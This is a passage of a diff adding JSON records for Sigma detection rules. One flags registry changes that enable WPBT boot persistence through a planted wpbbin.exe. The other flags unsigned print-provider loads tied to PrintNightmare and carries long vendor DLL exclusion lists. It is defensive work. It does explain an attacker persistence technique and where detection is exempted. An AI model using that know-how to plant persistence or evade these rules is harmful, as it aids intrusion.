registry_event\ndetection:\n    selection_target:\n        TargetObject|contains: 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\DisableWpbtExecution'\n\n    selection_value_set:\n        EventType: 'SetValue'\n        Details: 'DWORD (0x00000000)'\n\n    selection_value_delete:\n        EventType: 'DeleteValue'\n\n    condition: selection_target and 1 of selection_value_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f59b1f82-7a09-4afd-a2f8-492bf5e994d7",
+  "rule_name": "Registry Configuration Allowing UEFI Persistence Changed",
+  "rule_description": "Detects a dangerous modification or a deletion of the DisableWpbtExecution key in the registry.\nWhen DisableWpbtExecution is 0 or deleted, it allows the execution of wpbbin.exe, a file placed by the BIOS in System32 and executed by smss.exe during OS startup.\nAttackers can use this feature as a persistence mechanism by putting a malicious wpbbin.exe that will be executed at the next startup.\nIt is recommended to investigate the execution context of the detected process, other surrounding detections, as well as the file telemetry looking for a written file at \"C:\\Windows\\system32\\wpbbin.exe\" to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1542.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5a0d71f-1a1b-430d-bdc6-2c661c63b6f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607039Z",
+  "creation_date": "2026-03-23T11:45:34.607043Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607051Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675",
+    "https://attack.mitre.org/techniques/T1574/"
+  ],
+  "name": "t1574_spoolsv_unsigned_provider_load.yml",
+  "content": "title: Spoolsv Unsigned Print Provider Added\nid: f5a0d71f-1a1b-430d-bdc6-2c661c63b6f9\ndescription: |\n    Detects spoolsv loading an unsigned print provider, potentially indicating CVE-2021-1675 exploitation.\n    Spoofsv is the print spooler service, and loading unsigned print providers can be used by attackers to exploit vulnerabilities.\n    It is recommended to restart the print spooler service, review print provider installations, and check for any signs of unauthorized code execution or file modifications associated with this activity.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\n    - https://attack.mitre.org/techniques/T1574/\ndate: 2021/07/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1574\n    - cve.2021-1675\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\spoolsv.exe'\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\\\?\\\\*'\n\n    exclusion_signed:\n        Signed: 'true'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\cnp6040c_D8F87.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Cnp60fr-FR_D69BE.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CnAdEPUIFR.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Cnp60MUI_D69BE.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CNXPTN32.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CPC1FR.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CNXDIAS2.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CPC10E.DLL\n    exclusion_canon_drivers:\n        # Canon drivers are always at the root of the directory.\n        ImageLoaded:\n            # Standard drivers start with the \"cn\" prefix.\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cn*.DLL'\n            # Canon PageComposer drivers always start with the \"cpc\" prefix.\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cpc*.DLL'\n            # Canon Driver Information Assist Service always start with the \"cnxdias\" prefix.\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cnxdias*.DLL'\n            # Canon Message Resource driver (original version from 2002)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\CNXP*.DLL' # (CNXP0LOG.DLL)\n            # Canon NetSpot Suite\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\AUSSDRV.DLL'\n        Company: 'CANON INC.'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\UCS32P.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\CNKYNS32.DLL\n    # Very specific Canon tooling from 1997~2005 (probably not directly done by Canon)\n    exclusion_canon_colorgear:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\UCS32P.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\CN*.DLL' # (CNKYNS32.DLL, CNKYNS32.DLL, CNWFCGCO.DLL)\n        Company: 'Canon'\n        Product:\n            - 'ColorGear'\n            - 'ColorGear C'\n            - 'ColorGear dll (x64)'\n            - '* DM plug-in DLL' # (RGBPrinter DM plug-in DLL, RGBVirtual DM plug-in DLL)\n            - '* GMA plug-in DLL' # (MonitorMatch GMA plug-in DLL, Saturation GMA plug-in DLL, Colorimetric GMA plug-in DLL)\n    exclusion_canon_without_infos:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\CNXP*.DLL' # (CNXPHS32.DLL)\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Xerox\\Language Data\\V5.0\\en-us\\x3txt4S.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Xerox\\Language Data\\V5.0\\fr\\x3txt4S.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Xerox\\Language Data\\V5.0\\fr\\x3txt7E.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\fxxmnzim.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\fxxmnkdm.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\fxxmnziv.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\fxxmnz.xrs\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\fxxmnzir.xrs\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\x5lrs.dll\n    exclusion_xerox:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Xerox\\Language Data\\V?.?\\\\??-??\\x?txt???.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Xerox\\Language Data\\V?.?\\\\??-??\\x?txt??.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Xerox\\Language Data\\V?.?\\\\??\\x?txt???.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Xerox\\Language Data\\V?.?\\\\??\\x?txt??.dll' # (x3txt01X.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxxmnzim.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxxmnziv.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxxmnkdm.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxxmnz.xrs'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxxmnzir.xrs'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fxt*.dll' # (fxthm3axpui.dll, fxt6p4axpUI.DLL, fxt6n1axpUI.DLL,fxt6n1aIPS.DLL, fxt6p4aIPS.DLL, fxthm3aips.dll, fxt6p4aRC.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\x5lrs.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\x5lrsl.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrpscfhu.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrhwsz.xrs'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrh*.dll' # (xrhwsjdm.dll, xrhwsziu.dll, xrhk2axp.dll, xrhr3aIPS.DLL, xrhr3axpUI.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrhws???.xrs' # (xrhwszir.xr)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrzd????.dll' # (xrzdhb32.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrhz????.dll' # (xrhzdczd.dll, xrhzdcis.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\x2*.dll' # (x2ptpcSJ.dll, x2coreSJ.dll, x2guiSJ.dll, x2upSJ.dll, x2rnutSJ.dll, x2ptpcRB.dll, x2guiRB.dll, x2utilQ5.dl, x2upQ5.dll, x2comsQ5.dll, ... )\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\x3*.dll' # (x3wfuv8K.dll, x3core8K.dll, x3util8K.dll, x3coms8K.dll, x3up8K.dll, x3fput3C.dll, x3encr3C.dll, x3ptpc3C.dll, x3util3C.dll, x3gui3C.dll, x3core7E.dll, x3rnut7E.dll, x3rnut3X.dll, x3coms00N.dll, x3util00N.dll, x3up00N.dll, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FULGM13A_*.DLL' # (FULGM13A_en-GB.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FX6??ALU-?.DLL' # (FX6BEALU-1.dll, FX6MBALU-1.DLL, FX6SOALU-4.DLL, FX6MHALU-2.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FXP??ALU-?.DLL' # (FXP2SALU-4.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrx?????.dll' # (xrxmpzim.dll, xrxmokdm.dll, xrxmnzim.dll, xrxkrziu.dll, xrxmozis.dll, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrx?????.xrs' # (xrxmozir.xrs, xrxkrzir.xrs, ... )\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xrxkrz.xrs'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FUUIM???.DLL' # (FUUIM13A.DLL)\n        Company:\n            - 'Xerox'\n            - 'Xerox Corporation'\n            - 'Fuji Xerox Co., Ltd.'\n            - 'Fuji Xerox Co.,Ltd.'\n            - 'Xerox Co., Ltd.'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYTJ_F.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYXJ_C.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYXJ_D.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYTJ_U.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYQJ_C.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOBJUJ_F.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\w32x86\\3\\KOAYXJ_X.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYQJ_T.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOBJUJ_U.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOB__J_G.DLL\n    exclusion_konica_minolta:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KO????_?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOBDrvAPIW64.exe'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KB??????.DLL' # (KBDLMA8A.DLL, KBLGMA8A.DLL, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KO??????.DLL' # (KOAZ8JAR.DLL, KOFXPA1C.DLL, ...)\n        Company:\n            - 'KONICA MINOLTA, INC.'\n            - 'KONICA MINOLTA BUSINESS TECHNOLOGIES, INC.'\n        OriginalFileName:\n            - 'KOAYTJ_?.dll'\n            - 'KO????_?'\n            - 'KO????_?.dll'\n            - 'KMWOW64.exe'\n            - 'KB??????.DLL'\n            - 'KO??????.DLL'\n            - 'KO??????'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYTJ_O.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYXJ_O.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\w32x86\\3\\KOAYXJ_B.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYQJ_O.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOBJUJ_O.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOAYXJ_N.DLL\n    exclusion_konica_minolta_no_company_name:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KO????_?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KO??????.DLL' # (KOAYTJAO.DLL)\n        OriginalFileName:\n            - 'OAPIDrvLib*.dll' # (OAPIDrvLib42.dll, OAPIDrvLib521.dll, OAPIDrvLib5211.dll, OAPIDrvLib50.dll)\n            - 'kmbd??.dll'\n            - 'kmbdprtntfy13_own.DLL'\n            - 'kmbdprtntfy13_own_x64.DLL'\n            - 'xerces-c_?_?.dll'\n            - 'KO????_?.dll'\n        InternalName:\n            - 'OAPIDrvLib*.dll'\n            - 'kmbd'\n            - 'kmbdprtntfy13_own'\n            - 'kmbdprtntfy13_own_x64'\n            - 'xerces-c_?_?.dll'\n            - 'KO????_?'\n    exclusion_konica_minolta_without_infos:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\KO????_?.DLL' # (KOAYQJ_W.DLL)\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\acpdfui251.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\acpdfui500.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\acpdf251.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\acpdf300.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\acpdf500.dll\n    exclusion_amyuni:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\acpdfui???.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\acpdf???.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cdintf*.dll' # (cdintf450_64.dll)\n        OriginalFileName:\n            - 'ACFPDFUI.DLL'\n            - 'ACFPDF.DLL'\n            - 'CDINTF.DLL'\n        InternalName:\n            - 'ACFPDFUI.DLL'\n            - 'ACFPDF.DLL'\n            - 'CDINTF'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRPSMA80.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BROHLA5A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRLGCB0A_000C.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRDSMA80.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRUICB0A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BROCHB0A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRENCB0A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRRICB0A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRPRF13A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BSQ70V.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BSQ70L.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\bsp15bI6.DLL\n    exclusion_brother:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\BR*.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\BS*.DLL' # (BSP98NUI.DLL, BST200U6.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\bsp?????.DLL' # (bsp15bI6.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\BRL?????_??-??.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PT*.DLL'\n        Company:\n            - 'Brother Industries Ltd.'\n            - 'Brother Industries, Ltd.'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\PRTRes.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\PRTDrvUI_SF.dll\n    exclusion_hprt:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PRTRes.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PRTDrvUI_SF.dll'\n        Company:\n            - 'HPRT'\n            - 'Xiamen Hanin Electronic Technology Co.,Ltd.'\n        OriginalFileName:\n            - 'PRTRes.dll'\n            - 'PRTDrvUI.dll'\n        InternalName:\n            - 'PRTRes.dll'\n            - 'PRTDrvUI'\n        Product:\n            - 'HPRT Resource DLL'\n            - 'HPRT Driver UI'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZDNFRA56.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZDNdrv56.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZDNENG56.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZDNui56.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRAENG56.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZEBENG56.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ZEBui56.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\BRAdrv56.dll\n    exclusion_euro_plus:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZDN???5?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???drv5?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???ENG5?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???FRA5?.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\???ui5?.dll' # ZDNui56.DLL, PNXui56.dll, ZEBui56.dll, BRAui56.dll, TCOui56.dll\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\zdn*.dll'  # zdnPMU.dll / zdnPMS.dll / zdnPM64U.dll\n        Company: 'Euro Plus d.o.o.'\n        Product:\n            - 'Thermal Printers Driver'\n            - 'Windows Printer Driver'\n\n    exclusion_euro_plus_xpl:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Tools?PLx64.dll'  # ToolsEPLx64.dll / ToolsZPLx64.dll\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ToolsCPCLx64.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ToolsKIOSKx64.dll'\n        Description|contains: 'Tools Library'  # EPL/CPL/ZPL/CPCL Tools Library\n        InternalName|contains: 'Tools'  # EPL/CPL/ZPL/CPCL Tools\n\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA3Jcd.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA3Jus.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA3Jgs.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rica1jcd.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rica1jcp.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rica1jui.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rica1jcj.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricipp.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA5Hcp.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA5Hcj.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA5Hcd.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ricA5Hui.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICFAX64UI.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RIC662X.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RIC562K.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\rica5Xct.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\watermark.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\headerfooter.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\overlaywatermark.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\jobhook.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\borderline.dll\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\RICOH_DRV\\RICOH MP C5504 PCL 6\\dlz20200408113920\\popup.dll\n    exclusion_ricoh:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ric*.dll' # (ricipp.dll, RICFAX64UI.dll, RIC662X.dll, RIC562K.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ric*.exe' # (ricu0htl.exe)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\0riu0???.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RD*.dll' # (RD01Kd64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\mfricr??.dll' # (mfricr64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RIA*.DLL' # (RIAFUI1.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\watermark.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\headerfooter.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\overlaywatermark.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\jobhook.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\borderline.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RICOH_DRV\\\\*\\popup.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\E?????64.DLL' # (E424UI64.DLL, E424RE64.DLL, E224UI64.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\eng????.DLL' # eng53Ku\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fra????.DLL' # (fra50Fu.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\GLS*.DLL' # (GLS603L.DLL, GLS503K.DLL, GLS603C.DLL, GLS603WU.DLL, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Infa4dgs.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\SPC*.DLL' # (SPC82d64.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\rc4man??.dll' # (rc4man64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\trackid??.dll' # (trackid64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RIP*.DLL' # (RIPSRES.DLL, RIPSUI.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\SP??????.dll' # (SP430d64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\MP??????.dll' # (MPC22d64.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\NRG*.DLL' # (NRG53EWU.dll, NRG53EX.DLL, NRG53EZU.DLL, NRG511WU.DLL, NRG511X.DLL)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\IFX*.DLL' # (IFXSEP64.EXE, IFXSHLNK64.DLL)\n        Company:\n            - 'RICOH'\n            - 'RICOH COMPANY'\n            - 'RICOH COMPANY, LTD'\n            - 'RICOH COMPANY,LTD.'\n            - 'RICOH Company, Ltd.'\n            - 'RICOH CO.,Ltd.'\n            - 'Ricoh Co., Ltd.'\n            - 'RICOH Corp'\n            - 'Agfa Monotype Corp.'\n            - 'Monotype Imaging Inc.'\n\n    exclusion_ricoh_without_infos:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ric?????.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\0riu0???.dll' # (0riu03ur.dll)\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EFXUI09A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EFXMI09A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EFXGI09A.DLL\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\EBAPIX64.DLL\n    exclusion_seiko_epson:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\E*.dll' # (EP7UIP00.DLL, EPSET64.DLL, ...)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\E_*' # (E_YMAIUAE.DLL, E_YERSKKE.DLL, E_YBEWKKE.DLL, E_YBA7KKE.DLL, E_34ULC1BE.DLL, E_33BCS1BE.EXE)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sehmpz.xrs'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sehmpz??.xrs' # (sehmpzir.xrs)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\sehmpz??.dll' # (sehmpziu.dll)\n        Company:\n            - 'SEIKO EPSON CORPORATION'\n            - 'SEIKO EPSON CORP.'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\mxdwdrv.dll\n    # On Windows 8.1, MXDWDRV.dll is signed via catalogue.\n    exclusion_mxdwdrv_signed:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\mxdwdrv.dll'\n        Company: 'Microsoft Corporation'\n        #InternalName: 'MXDWDRV.DLL'\n        OriginalFileName: 'MXDWDRV.DLL'\n    # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\PSCRIPT5.DLL\n    # On Windows 8, PSCRIPT5.DLL is signed via catalogue.\n    exclusion_pscript5_signed:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PSCRIPT5.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\?_PSCRIPT5.DLL' # (d_pscript5.dll)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\PDFILLPSCRIPT5.DLL'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'PSCRIPT5.DLL'\n    # 5115cb182da89d2366709f553bf82f41826d2520ca6f9c99b10c23098522d9e3\n    exclusion_ssm1:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ss??m.dll' # (ssi2m.dll, ssi5m.dll, ssk4m.dll, ssm1m.dll)\n        OriginalFileName: 'PSCRIPT.DLL'\n\n    # 